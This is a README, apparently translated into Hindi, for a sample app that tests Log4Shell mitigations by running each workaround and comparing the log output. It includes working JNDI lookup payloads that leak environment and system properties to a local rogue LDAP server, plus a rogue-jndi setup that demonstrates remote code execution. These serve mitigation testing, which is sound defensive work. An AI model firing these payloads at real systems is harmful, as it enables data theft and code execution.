
Log4Shell CVE-2021-44228 शमन परीक्षक
यह Log4j 2.14.1 का उपयोग करने वाला एक उदाहरण एप्लिकेशन है।
source code: App.java
इसका उद्देश्य विभिन्न शमन दृष्टिकोणों का परीक्षण करने में सक्षम होना है। शमन दृष्टिकोणों का उल्लेख Microsoft’s Response to CVE-2021-44228 Apache Log4j 2 में भी किया गया है।
उदाहरण bash शेल के लिए हैं
ऐप बनाएं
./gradlew assemble
बिना वर्कअराउंड के चलाएं
java -jar app/build/libs/app-all.jar
कमांड लाइन पर एक स्ट्रिंग पास करके कुछ मैसेज लुकअप फीचर का परीक्षण करें:
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'
-Dlog4j2.formatMsgNoLookups=true सिस्टम प्रॉपर्टी वर्कअराउंड का परीक्षण करें, https://twitter.com/brunoborges/status/1469186875608875011
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar
LOG4J_FORMAT_MSG_NO_LOOKUPS=true एनवायरनमेंट वेरिएबल वर्कअराउंड का परीक्षण करें, https://twitter.com/brunoborges/status/1469462412679991300
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true एनवायरनमेंट वेरिएबल वर्कअराउंड का परीक्षण करें, https://twitter.com/brunoborges/status/1469426918550245377
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar
क्लासपाथ में log4j2.component.properties वर्कअराउंड समाधान का परीक्षण करें:
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App
जब आप ऐप चलाते हैं, तो आप कमजोरी को कार्य करते हुए देखेंगे:
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
आप समाधान को डीबग भी कर सकते हैं और कमजोर कोड में एक ब्रेक पॉइंट रख सकते हैं जो है https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135
डीबगर को org.apache.logging.log4j.core.pattern.MessagePatternConverter क्लास में लाइन 128 पर सेट करें।
जब शमन स्थापित होता है, तो डीबगर को कोड ब्लॉक में कभी नहीं जाना चाहिए। LDAP कॉल का प्रयास भी नहीं होना चाहिए:
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]
सूचना रिसाव का प्रदर्शन https://github.com/veracode-research/rogue-jndi/pull/11 परिवर्तनों पर निर्भर करता है
एक टर्मिनल में
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"
दूसरे टर्मिनल में:
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'
बिना किसी नए सॉफ्टवेयर रिलीज़ की प्रतीक्षा किए तुरंत Log4Shell को शमन करना आवश्यक है। इसे जल्दी और प्रभावी ढंग से करने के लिए यहां कुछ समाधान दिए गए हैं।
यह एक सामान्य समाधान है: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay
यह सामान्य नहीं है, उदाहरण apache/pulsar से है: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228
https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3